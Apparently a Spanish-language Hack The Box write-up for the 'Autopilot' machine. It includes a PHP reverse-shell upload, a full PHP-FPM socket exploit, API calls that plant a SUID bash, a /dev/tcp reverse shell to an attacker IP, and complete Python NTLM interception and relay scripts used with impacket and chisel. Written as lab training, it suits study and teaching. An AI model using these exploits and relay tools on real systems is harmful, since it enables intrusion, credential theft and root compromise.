XUT_ / MACHINES / HTB

0110

Autopilot

HTBMACHINERETIREDINSANETEMPORADA 12
Active DirectoryArbitrary File WriteCommand ExecutionDatabaseEnumerationFastCGIFile UploadLinuxNTLMNTLM RelayPass the HashPHPPHP-FPMPrivilege EscalationProtocol AnalysisProtocol Reverse EngineeringRCEReverse EngineeringReverse ShellSMBSource Code AnalysisSSH TunnelingWindowsXOR

Introduction

Resumen

La máquina comienza como un ejercicio de análisis. Nos enfrentamos a una configuración de grommunio que permite subir archivos y mediante una ruta ejecutarlos. Esto nos permite obtener el foothold.

Una vez en la máquina podemos encontrar credenciales para un usuario con mayores privilegios. Al analizar los permisos con linpeas.sh encontramos un socket con permisos mal configurados. Usamos las credenciales de la base de datos para modificar las credenciales del administrador de la base de datos. Esto nos permite mandar una petición mediante el uso de un script para aprovecharnos de la mala configuración de PHP-FPM para ejecutar un comando que nos de una shell como root. Desde ahí leemos la user.txt.

Una vez tenemos esto, podemos investigar hosts activos en la red, encontrando estaciones de trabajo y el controlador del dominio. Además, habiendo ejecutado bloodhound-python antes, podemos ver que el usuario da-stephanie.lewis es administrador. Investigamos los servicios descubrimos que una estación de trabajo se autentifica contra la máquina en la que tenemos acceso como root usando los certificados TLS/SSL de dicha máquina. Podemos capturar el hash y redirigirlo hacia SMB para obtener una sesión que nos permita leer los contenidos de las comparticiones como stephanie.lewis.

Una vez aquí, podemos encontrar un binario que se conecta como dicho usuario. Analizando dicho binario encontramos una secuencia de desencriptación de una string que es la contraseña (esta viene ofuscada con un XOR). Descifrando la contraseña podemos autentificarnos contra el DC como stephanie.lewis y leer root.txt.


Introduction

Como es común en los test de penetración reales, comenzarás la máquina Autopilot con credenciales para la siguiente cuenta:

deborah.hernandez / 8F5cgp@tC8g@

Getting the Flags

Reconocimiento Inicial

Comenzamos escaneando los puertos abiertos de la máquina.

Getting the Flags

Vamos a investigar este puerto más en profundidad.

Getting the Flags

Vamos a buscar directorios.

Getting the Flags

Aquí podemos ver algunas cosas interesantes. Entre ellas, los directorios:

  • /web/
  • /files/
  • /dav/

Además, hay una cosa interesante respecto a /files. Hay una carpeta dentro llamada data/, que devuelve 403, es decir que lo tenemos prohibido, seguramente por la falta de autentificación.

Vamos a ver cómo se ve la web.

Getting the Flags


Profundización

Nos redirige al primer directorio, /web. Bien, pues vamos a iniciar sesión a ver qué vemos.

Getting the Flags

Parece una aplicación de correo llamada grommunio. Vamos a ver el contenido del email en la bandeja de entrada.

Getting the Flags

Por lo que se ve en el email, joshua.harris ha recibido un ascenso y es stephanie.lewis la encargada de proporcionarle los detalles de su nueva cuenta. Investigando el resto de la aplicación de email no encontramos nada más, así que vamos a comprobar el resto de directorios.

Vamos con /dav:

Getting the Flags

Entramos con las credenciales.

Getting the Flags

Investigando aquí no vemos nada, excepto las URLs, que nos pueden dar algunas ideas (ahora veremos de qué hablamos).

Vamos con /files:

Getting the Flags

Parece una especie de drive. Vamos a ver si podemos subir archivos arbitrarios. Concretamente vamos a subir una copia de /usr/share/webshells/php/php-reverse-shell modificada para nosotros.

Getting the Flags

Nos ha dejado, sin embargo no parece haber ninguna forma de ejecutarlo. Investigando un poco más, encontramos que la app de files es Nextcloud. Además encontramos la siguiente URL:

Getting the Flags

Vamos a intentar subir un archivo inocuo.

Getting the Flags

Parece que lo hemos conseguido, por la respuesta 201 (created).


Explotación

Arbitrary File Execution - PHP Reverse Shell FootHold

Basándonos en la ruta /data que encontramos en /files durante la enumeración y en la estructura de webdav, vamos a probar a cargar la información interna de nuestra reverse shell.

txt
https://autopilot.htb/files/data/deborah.hernandez/files/autopilot.php

Poniéndonos en escucha:

Getting the Flags

Hemos conseguido una shell en el sistema. Vamos a ver qué encontramos por aquí.

Getting the Flags

Parece que somos un usuario de servicio. Y viendo que no está por aquí la user.txt, eso seguramente significa que está en /root. Después de un rato investigando encontramos lo siguiente:

Getting the Flags

Las credenciales de grommunio. Por desgracia, no son las del sistema, sólo las de la base de datos. Vamos a entrar a la base de datos a ver qué hay dentro.

Getting the Flags

Por desgracia este hash no hemos podido crackearlo.

FastCGI PHP Socket Missconfiguration - Privilege Escalation

Después de seguir investigando, no podemos encontrar nada más, así que vamos a ejecutar linpeas.sh.

Getting the Flags

Aquí encontramos lo siguiente:

Getting the Flags

Resulta especialmente interesante porque tiene permisos 0666, es decir, que cualquier usuario tiene permitido conectarse. Además forma parte de un pool PHP-FPM. Tenemos que investigar su configuración y el usuario con el que se ejecuta el servicio.

Getting the Flags

Sabemos que es un socket FastCGI por el nombre (FastCGI Process Manager, FPM). Un socket de este tipo puede recibir solicitudes para que PHP-FPM procese scripts. Si el pool ejecuta los scripts como gromox y acepta una solicitud controlable, podemos escalar privilegios. Vamos entonces, a intentar encontrar la configuración del pool.

Getting the Flags

Parece que efectivamente está configurado para escuchar a todos los usuarios y ejecutarse como gromox. Con esta información podemos desarrollar un exploit. Después de iterar un rato probando diferentes cosas:

php
<?php
function make_header($type, $req_id, $content_len, $padding_len) {
    return chr(1) . chr($type) . chr(($req_id >> 8) & 0xff) . chr($req_id & 0xff) . chr(($content_len >> 8) & 0xff) . chr($content_len & 0xff) . chr($padding_len) . chr(0);
}
function make_kv($k, $v) {
    $kl = strlen($k); $vl = strlen($v); $tmp = "";
    if ($kl < 128) $tmp .= chr($kl); else $tmp .= chr(($kl >> 24) | 0x80) . chr(($kl >> 16) & 0xff) . chr(($kl >> 8) & 0xff) . chr($kl & 0xff);
    if ($vl < 128) $tmp .= chr($vl); else $tmp .= chr(($vl >> 24) | 0x80) . chr(($vl >> 16) & 0xff) . chr(($vl >> 8) & 0xff) . chr($vl & 0xff);
    return $tmp . $k . $v;
}

$cmd_b64 = $argv[1];
$payload = "<?php system(base64_decode('" . $cmd_b64 . "')); die('===DONE==='); ?>";
$b64_payload = base64_encode($payload);

// Apuntamos a nuestro propio archivo para saltarnos los controles de la aplicación web
$php_file = "/tmp/fcgi_local.php";

$params = [
    'SCRIPT_FILENAME' => $php_file,
    'REQUEST_METHOD' => 'POST',
    'PHP_VALUE' => "allow_url_include=1\nallow_url_fopen=1\nauto_prepend_file='data://text/plain;base64,$b64_payload'",
];

$socket = "unix:///run/php-fpm/php-gromox-fpm.sock";
$fp = stream_socket_client(
    $socket,
    $errno,
    $errstr,
    5,
    STREAM_CLIENT_CONNECT
);

if (!$fp) {
    die("Error conectando al socket: $errstr ($errno)\n");
}

echo "Conexión al socket establecida\n";

fwrite($fp, make_header(1, 1, 8, 0) . "\x00\x01\x00\x00\x00\x00\x00\x00");
$p_data = "";
foreach ($params as $k => $v) { $p_data .= make_kv($k, $v); }
fwrite($fp, make_header(4, 1, strlen($p_data), 0) . $p_data);
fwrite($fp, make_header(4, 1, 0, 0));
fwrite($fp, make_header(5, 1, 0, 0));
$resp = "";
while (!feof($fp)) { $resp .= fread($fp, 1024); }
fclose($fp);
$pos = strpos($resp, "\r\n\r\n");
if ($pos !== false) { echo substr($resp, $pos + 4); } else { echo $resp; }

Lo llamamos /tmp/fcgi_local.php. Vamos a intentar cambiar la contraseña de admin en la base de datos. Para ello necesitamos configurar una nueva con el mismo tipo:

Getting the Flags

Vamos a cambiarla:

Getting the Flags

Parece que ha funcionado. Ahora podemos autentificarnos en la API de grommunio como admin en el puerto 8080. Ejecutamos el script con el comando:

bash
RESP=$(curl -sk http://localhost:8080/api/v1/login \
  -X POST -d 'user=admin&pass=123456')

TOKEN=$(echo $RESP | python3 -c "import sys,json; print(json.load(sys.stdin)['grommunioAuthJwt'])")
CSRF=$(echo $RESP | python3 -c "import sys,json; print(json.load(sys.stdin)['csrf'])")
mkdir -p /dev/shm/pfx
cat > /dev/shm/pfx/postfix-script << 'EOF'
#!/bin/bash
cp /bin/bash /var/spool/mail/rootbash
chmod 4755 /var/spool/mail/rootbash
EOF
chmod +x /dev/shm/pfx/postfix-script
curl -sk "http://localhost:8080/api/v1/system/dbconf/grommunio-dbconf/postfix/" \
  -X PUT \
  -H "Cookie: grommunioAuthJwt=$TOKEN" \
  -H "X-Csrf-Token: $CSRF" \
  -H "Content-Type: application/json" \
  -d '{"data": {"commit_file": "#POSTCONF"}}'
curl -sk "http://localhost:8080/api/v1/system/dbconf/postfix/main.cf/" \
  -X PUT \
  -H "Cookie: grommunioAuthJwt=$TOKEN" \
  -H "X-Csrf-Token: $CSRF" \
  -H "Content-Type: application/json" \
  -d '{"data": {"daemon_directory": "/dev/shm/pfx"}}'

Con esto, en base64, podemos crear una copia de /bin/bash con SUID.

Getting the Flags

Con esto podemos ejecutarlo para obtener acceso root y leer user.txt.

Getting the Flags


Escalada de Privilegios

Environment Enumeration

Ahora toca escalar privilegios. Nos ponemos como root:

Getting the Flags

Nos mandamos una reverse shell.

bash
/bin/sh -i >& /dev/tcp/10.10.16.19/6666 0>&1

Getting the Flags

Investigando un poco vemos lo siguiente:

Getting the Flags

Vamos a crear un túnel para poder usar comandos de nuestra máquina.

Getting the Flags

Y desde la shell root de autopilot:

Getting the Flags

Una vez se conecte, volvemos a kali y creamos la interfaz y el túnel.

Getting the Flags

Con el túnel en posición, vamos a escanear la red.

Getting the Flags

Lo metemos en /etc/hosts. Ahora vamos a ver los puertos abiertos.

Getting the Flags

NTLM Hash Interception

Después de investigar los puertos vemos que la cuenta de stephanie.lewis se autentifica por IMAP con STARTTLS por el puerto 143 aproximadamente cada 1 minuto. Vamos a capturar el hash NTLM de autentificación. Para ello tenemos que configurar un listener. Tenemos que parar el servicio para que se autentifique contra nuestro interceptor. Primero comenzamos el servicio (por si se ha quedado pillado) con:

bash
systemctl start gromox-imap

Escribimos el interceptor en python y nos lo pasamos a la máquina:

python
#!/usr/bin/env python3
import socket, ssl, struct, base64, threading, sys

LISTEN_HOST    = "0.0.0.0"
LISTEN_PORT    = 143
CERT_FILE      = "/etc/grommunio-common/ssl/server-bundle.pem"
KEY_FILE       = "/etc/grommunio-common/ssl/server.key"
HASH_FILE      = "/tmp/captured_hashes.txt"
NTLM_CHALLENGE = bytes.fromhex("1122334455667788")

def build_ntlm_type2():
    # 0x0001: NetBIOS Computer Name ("GROMMUNIO")
    nb_comp = "GROMMUNIO".encode("utf-16-le")
    av_comp = struct.pack("<HH", 1, len(nb_comp)) + nb_comp

    # 0x0002: NetBIOS Domain Name ("AUTOPILOT")
    nb_dom = "AUTOPILOT".encode("utf-16-le")
    av_dom = struct.pack("<HH", 2, len(nb_dom)) + nb_dom

    # 0x0003: DNS Computer Name ("grommunio.autopilot.htb")
    dns_comp = "grommunio.autopilot.htb".encode("utf-16-le")
    av_dns_comp = struct.pack("<HH", 3, len(dns_comp)) + dns_comp

    # 0x0004: DNS Domain Name ("autopilot.htb")
    dns_dom = "autopilot.htb".encode("utf-16-le")
    av_dns_dom = struct.pack("<HH", 4, len(dns_dom)) + dns_dom

    # 0x0000: EOL (End of List) obligatorio
    av_eol = struct.pack("<HH", 0, 0)

    target_info = av_comp + av_dom + av_dns_comp + av_dns_dom + av_eol

    target = "AUTOPILOT".encode("utf-16-le")
    # Flags estándar de NTLMv2 con soporte Unicode y Target Name, sin EPA forzado
    flags  = struct.pack("<I", 0x05828215)
    
    tgt_f  = struct.pack("<HHI", len(target), len(target), 56)
    inf_f  = struct.pack("<HHI", len(target_info), len(target_info), 56 + len(target))
    
    ver    = bytes.fromhex("060100000000000f")
    
    msg    = (b"NTLMSSP\x00" + 
              struct.pack("<I", 2) + 
              tgt_f + 
              flags + 
              NTLM_CHALLENGE + 
              b"\x00"*8 + 
              inf_f + 
              ver + 
              target + 
              target_info)
              
    return base64.b64encode(msg).decode()

def parse_ntlm_type3(b64data):
    try:
        data = base64.b64decode(b64data.strip())
        if not data.startswith(b"NTLMSSP\x00") or struct.unpack("<I", data[8:12])[0] != 3:
            return None
        def rf(off):
            l = struct.unpack("<H", data[off:off+2])[0]
            o = struct.unpack("<I", data[off+4:off+8])[0]
            return data[o:o+l]
        nt  = rf(20)
        dom = rf(28).decode("utf-16-le", errors="replace")
        usr = rf(36).decode("utf-16-le", errors="replace")
        if len(nt) < 16:
            return None
        return "{}::{}:{}:{}:{}".format(usr, dom, NTLM_CHALLENGE.hex(), nt[:16].hex(), nt[16:].hex())
    except Exception as e:
        return "PARSE_ERROR:{}".format(e)

def handle_client(raw_sock, addr):
    print(""); print("[+] Conexion de {}".format(addr)); sys.stdout.flush()
    try:
        raw_sock.sendall(b"* OK IMAP4 service is ready.\r\n")
        while True:
            data = raw_sock.recv(4096)
            if not data: return
            line = data.decode("latin-1", errors="replace").strip()
            print("[pre-TLS] {}".format(line[:80])); sys.stdout.flush()
            parts = line.split()
            tag = parts[0] if parts else "A000"
            if "STARTTLS" in line.upper():
                raw_sock.sendall("{} OK Begin TLS negotiation\r\n".format(tag).encode())
                break
            elif "CAPABILITY" in line.upper():
                raw_sock.sendall("* CAPABILITY IMAP4 IMAP4rev1 AUTH=NTLM\r\n{} OK CAPABILITY completed.\r\n".format(tag).encode())
            else:
                raw_sock.sendall("{} OK\r\n".format(tag).encode())

        ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        ctx.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)
        tls = ctx.wrap_socket(raw_sock, server_side=True)
        print("[*] TLS handshake OK"); sys.stdout.flush()

        while True:
            data = tls.recv(4096)
            if not data: break
            line = data.decode("latin-1", errors="replace").strip()
            print("[post-TLS] {}".format(line[:120])); sys.stdout.flush()
            parts = line.split()
            tag = parts[0] if parts else "A000"

            if "CAPABILITY" in line.upper():
                tls.sendall("* CAPABILITY IMAP4 IMAP4rev1 AUTH=NTLM\r\n{} OK CAPABILITY completed.\r\n".format(tag).encode())

            elif "AUTHENTICATE NTLM" in line.upper():
                type1 = None
                # Caso 1: Type 1 enviado inline en el mismo comando
                if len(parts) >= 4:
                    type1 = parts[3]
                    print("[*] Type1 inline: {}".format(type1[:40]))
                else:
                    # Caso 2: El cliente espera el prompt '+' para enviar Type 1
                    try:
                        tls.sendall(b"+ \r\n")
                        t1_data = tls.recv(4096)
                        if not t1_data:
                            print("[-] Cliente desconectado esperando Type 1")
                            break
                        type1 = t1_data.decode("latin-1", errors="replace").strip()
                        print("[*] Type1 recibido: {}".format(type1[:40]))
                    except Exception as e:
                        print("[-] Error recibiendo Type 1: {}".format(e))
                        break

                sys.stdout.flush()

                # Construir y enviar Type 2
                t2 = build_ntlm_type2()
                try:
                    tls.sendall("+ {}\r\n".format(t2).encode())
                    print("[*] Type2 enviado, challenge={}".format(NTLM_CHALLENGE.hex()))
                    sys.stdout.flush()
                except Exception as e:
                    print("[-] Error enviando Type 2: {}".format(e))
                    break

                # Recibir Type 3 (viene como una línea en crudo con el token base64)
                try:
                    t3_data = tls.recv(4096)
                    if not t3_data:
                        print("[-] Cliente desconectado antes de enviar Type 3")
                        break
                    t3 = t3_data.decode("latin-1", errors="replace").strip()
                    print("[*] Type3 recibido: {}".format(t3[:80]))
                    sys.stdout.flush()
                except Exception as e:
                    print("[-] Error recibiendo Type 3: {}".format(e))
                    break

                # Parsear y guardar hash
                h = parse_ntlm_type3(t3)
                if h and not h.startswith("PARSE_ERROR"):
                    print("")
                    print("=" * 60)
                    print("[HASH] {}".format(h))
                    print("=" * 60)
                    print("")
                    sys.stdout.flush()
                    with open(HASH_FILE, "a") as f:
                        f.write(h + "\n")
                else:
                    print("[-] Error al parsear Type 3: {}".format(h))
                    sys.stdout.flush()

                # Responder fallo de autenticación al cliente para cerrar ordenadamente
                try:
                    tls.sendall("{} NO Authentication failed\r\n".format(tag).encode())
                except:
                    pass
                break
            else:
                tls.sendall("{} OK\r\n".format(tag).encode())

    except Exception as e:
        print("[-] Error: {}".format(e)); sys.stdout.flush()
    finally:
        try: raw_sock.close()
        except: pass

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind((LISTEN_HOST, LISTEN_PORT))
srv.listen(5)
print("[*] IMAP NTLM interceptor en :{}".format(LISTEN_PORT))
print("[*] Hashes en {}".format(HASH_FILE)); sys.stdout.flush()
while True:
    c, a = srv.accept()
    threading.Thread(target=handle_client, args=(c, a), daemon=True).start()

Y en cuanto veamos:

txt
[imap]: block client 1min when authentication failure count is exceeded

En:

bash
journalctl -u gromox-imap | grep -i "connect\|auth\|login\|172.16.20.15" | tail -30

Lo paramos y levantamos el proxy:

Getting the Flags

Después de obtener este hash no hemos podido crackearlo, por lo que investigando más nos damos cuenta de que el SMB no requiere firma (con el mismo chisel de antes).

Desde el servidor (kali):

bash
chisel server -p 9001 --reverse

Desde el cliente (grommunio):

bash
/tmp/chisel client 10.10.16.19:9001 R:4445:172.16.20.15:445 &

Y desde kali:

Getting the Flags

NTLM Hash Relay

Por lo tanto modificamos el script:

python
import socket
import ssl
import base64
import re

LOCAL_IP = "0.0.0.0"
LOCAL_PORT = 8143
IMPACKET_HTTP_PORT = 80  
CERT_FILE = "/tmp/real-bundle.pem"
KEY_FILE = "/tmp/real-server.key"

def extract_clean_b64(raw_bytes):
    cleaned = raw_bytes.strip()
    if b" " in cleaned:
        cleaned = cleaned.split(b" ")[-1]
    return cleaned

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((LOCAL_IP, LOCAL_PORT))
server.listen(5)
print(f"[*] Persistent IMAP-to-HTTP NTLM Relayer listening on port {LOCAL_PORT}...")

while True:
    client_sock, addr = server.accept()
    print(f"[*] Connection received from {addr}")
    try:
        client_sock.send(b"* OK [CAPABILITY IMAP4rev1 STARTTLS AUTH=NTLM] Server Ready\r\n")
        data = client_sock.recv(1024)
        if b"STARTTLS" in data.upper():
            # Fix: grab the first element from the split list, which is the command tag bytes
            tag = data.split(b" ")[0]
            client_sock.send(tag + b" OK Begin TLS negotiation now\r\n")
            
            context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
            context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)
            tls_sock = context.wrap_socket(client_sock, server_side=True)
            print("[+] TLS Handshake completed successfully.")
            
            tls_sock.send(b"* OK [CAPABILITY IMAP4rev1 AUTH=NTLM] Secure Session Open\r\n")
            
            # Establish a persistent HTTP socket connection to Impacket
            http_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            http_sock.connect(("127.0.0.1", IMPACKET_HTTP_PORT))
            
            while True:
                req = tls_sock.recv(4096)
                if not req: break
                
                if b"CAPABILITY" in req.upper():
                    tag = req.split(b" ")[0]
                    tls_sock.send(b"* CAPABILITY IMAP4rev1 AUTH=NTLM\r\n")
                    tls_sock.send(tag + b" OK CAPABILITY completed\r\n")
                    
                elif b"AUTHENTICATE NTLM" in req.upper():
                    tag = req.split(b" ")[0]
                    tls_sock.send(b"+ \r\n")
                    
                    # 1. Handle Type 1 Token (Negotiate)
                    t1_raw = tls_sock.recv(4096)
                    t1_clean = extract_clean_b64(t1_raw).decode('utf-8')
                    print("[+] Extracted Type 1 Base64 Token.")
                    
                    # Send Type 1 over the persistent socket (Keep-Alive)
                    http_req = (
                        f"GET / HTTP/1.1\r\n"
                        f"Host: 127.0.0.1\r\n"
                        f"Authorization: NTLM {t1_clean}\r\n"
                        f"Connection: Keep-Alive\r\n\r\n"
                    )
                    http_sock.sendall(http_req.encode('utf-8'))
                    
                    # Receive Type 2 (Challenge) response from Impacket
                    http_resp = http_sock.recv(4096)
                    
                    # Parse out Challenge token cleanly via regex from headers
                    match = re.search(r"WWW-Authenticate:\s*NTLM\s+([A-Za-z0-9+/=]+)", http_resp.decode('utf-8', errors='ignore'))
                    if not match:
                        print("[-] Failed to parse NTLM Type 2 Challenge from Impacket response.")
                        break
                    
                    t2_clean = match.group(1).strip()
                    print("[+] Parsed NTLM Type 2 Challenge. Sending to IMAP client...")
                    
                    # Forward Type 2 Challenge back to IMAP Client
                    tls_sock.send(b"+ " + t2_clean.encode('utf-8') + b"\r\n")
                    
                    # 2. Handle Type 3 Token (Authenticate)
                    t3_raw = tls_sock.recv(4096)
                    t3_clean = extract_clean_b64(t3_raw).decode('utf-8')
                    print("[+] Extracted Type 3 Base64 Token.")
                    
                    # Send Type 3 over the EXACT SAME socket to preserve Impacket's state engine
                    final_http_req = (
                        f"GET / HTTP/1.1\r\n"
                        f"Host: 127.0.0.1\r\n"
                        f"Authorization: NTLM {t3_clean}\r\n"
                        f"Connection: Close\r\n\r\n"
                    )
                    http_sock.sendall(final_http_req.encode('utf-8'))
                    print("[+] Final NTLM token submitted to Impacket HTTP engine.")
                    
                    # Allow Impacket time to complete the exploit logic over Chisel before closing
                    http_sock.settimeout(3)
                    try: 
                        http_sock.recv(4096)
                    except Exception: 
                        pass
                    
                    tls_sock.send(tag + b" NO Authentication failed\r\n")
                    http_sock.close()
                    break
            
    except Exception as e:
        print(f"[-] Session Error: {e}")
        client_sock.close()

Y descargamos las claves del servidor. Yo lo he hecho haciendo en el servidor:

bash
cat <clave> | base64

Y en mi máquina:

bash
echo "base64_clave" | base64 -d > ruta_clave

Corremos el relay:

bash
sudo impacket-ntlmrelayx -t smb://127.0.0.1:4445 -smb2support -i

Getting the Flags

Y ejecutamos el servidor:

Getting the Flags

Nos conectamos con:

bash
nc -nv 127.0.0.1 11000

Environment Investigation

Una vez en la shell, investigamos y encontramos:

Getting the Flags

Parece que hay un archivo ejecutándose:

Getting the Flags

Vamos a descargarlo con:

bash
get runas.exe

Binary Analysis

Ahora lo analizamos en kali. Después de unas cuantas iteraciones con alguna Inteligencia artificial, podemos sacar lo siguiente:

  • passwordCipher: Comienza en 0x1401ac6c8.
  • passwordKey: Comienza en 0x1401ac6d8.
  • El bucle de main.main aplica XOR entre ambos bloques para reconstruir la cadena.

Los comandos utilizados durante el análisis fueron:

bash
file ~/runas.exe
sha256sum ~/runas.exe
strings -a ~/runas.exe | rg -n 'Get-ADUser|main\.decodePassword|main\.runAs|runas: launched|NoExit'
go version -m ~/runas.exe 2>&1
r2 -q -c 'aaa; afl~decodePassword; afl~runAs' ~/runas.exe
strings -a ~/runas.exe | grep -nE 'Get-ADUser|main\.decodePassword|main\.runAs|runas: launched|NoExit'
go tool nm ~/runas.exe 2>&1 | grep -E 'decodePassword|runAs|main\.main'
r2 -q -e bin.relocs.apply=true -c 'e asm.syntax=intel; pdf @ 0x1400b32c0' ~/runas.exe
go tool nm ~/runas.exe | grep -E 'main\.(decodePassword|runAs|main)$'
r2 -q -e bin.relocs.apply=true -c 'aaa; afl~decodePassword; afl~runAs; afl~main.main' ~/runas.exe
r2 -q -e bin.relocs.apply=true -c 'aaa; axt sym.main.decodePassword' ~/runas.exe
r2 -q -e bin.relocs.apply=true -c 'aaa; s 0x1400b3020; pdf' ~/runas.exe
r2 -q -e bin.relocs.apply=true -c 'aaa; s 0x1400b32c0; pdf' ~/runas.exe
r2 -q -e bin.relocs.apply=true -c 'iz~password; iz~Password; iz~runas; iz~launched' ~/runas.exe
go tool nm ~/runas.exe | grep -iE 'decode|password|runAs'
r2 -q -e bin.relocs.apply=true -c 'px 96 @ 0x1401b1910' ~/runas.exe
r2 -q -e bin.relocs.apply=true -c 'px 64 @ 0x1401b1930' ~/runas.exe
r2 -q -e bin.relocs.apply=true -c 'aaa; axt @ 0x1401b1910; axt @ 0x1401b1930' ~/runas.exe
go version -m ~/runas.exe
r2 -q -c 'iS' ~/runas.exe
r2 -q -e bin.relocs.apply=true -c '
aaa
afl~main.main
afl~main.runAs
' ~/runas.exe
r2 -q -e bin.relocs.apply=true -c '
aaa
s sym.main.main
pdf
' ~/runas.exe
r2 -q -e bin.relocs.apply=true -c '
px 48 @ 0x1401b1910
px 48 @ 0x1401b1930
' ~/runas.exe
r2 -q -e bin.relocs.apply=true -c 'px 32 @ 0x1401ac6c8' ~/runas.exe
r2 -q -e bin.relocs.apply=true -c 'px 32 @ 0x1401ac6d8' ~/runas.exe
r2 -q -e bin.relocs.apply=true -c 'iS' ~/runas.exe

Por último ejecutamos el script que nos devuelve la Inteligencia Artificial:

python
cipher = bytes.fromhex(
    "a3 ca 4a b9 38 23 f0 7b 25 2c 30 38 63 a1"
)
key = bytes.fromhex(
    "c8 b8 0c c8 60 45 b4 32 14 55 04 0b 50 90"
)

decoded = bytes(c ^ k for c, k in zip(cipher, key))

print("Bytes descodificados:", decoded.hex())
print("¿Es UTF-8 válido?", end=" ")
try:
    decoded.decode("utf-8")
    print("sí")
except UnicodeDecodeError:
    print("no")

Esto nos da los bytes:

Getting the Flags

Si los convertimos a ASCII:

Getting the Flags

Obtenemos la contraseña de stephanie.lewis. Con su contraseña vamos ahora a iniciar sesión con su cuenta.

Abrimos un chisel nuevo (por última vez hehe). Desde el servidor:

bash
chisel server --reverse --host 0.0.0.0 --port 8009

Desde el cliente:

bash
/tmp/chisel client 10.10.16.19:8009 R:4455:172.16.20.15:445

Y ahora comprobamos.

Getting the Flags

Vamos a buscar la flag root.txt, pero no está aquí, debe estar en el DC. Mentí antes con lo del chisel xD. Ahora sí, levantamos el último. En el servidor:

bash
chisel server -p 9001 --reverse

Y en el cliente:

bash
/tmp/chisel client 10.10.16.19:9001 R:4456:172.16.20.1:445 &

Tenemos que redirigir el tráfico:

bash
sudo socat TCP-LISTEN:445,fork,reuseaddr TCP:127.0.0.1:4456

Y por último ejecutamos el impacket:

bash
impacket-smbclient AUTOPILOT/da-stephanie.lewis:[REDACTED]@127.0.0.1

Getting the Flags


Conclusión

Una máquina extremadamente loca. Es muy complicada y está llena de rabbit holes. He tardado días en poder completarla. Realmente es una máquina que tiene mucho sentido, todo encaja perfectamente. Además, hemos trabajado:

  • Enumeración
  • Investigación
  • File Upload
  • Arbitrary file execution
  • Privilege escalation
  • FCGI leverage
  • Sockets missconfigurations
  • Pivoting to internal hosts
  • NTLM Hash capture
  • NTLM Hash relay
  • Command execution vía SMB

Ha sido una locura. Pero:

SUCCESS

¡¡¡¡Hemos conseguido ambas flags!!!!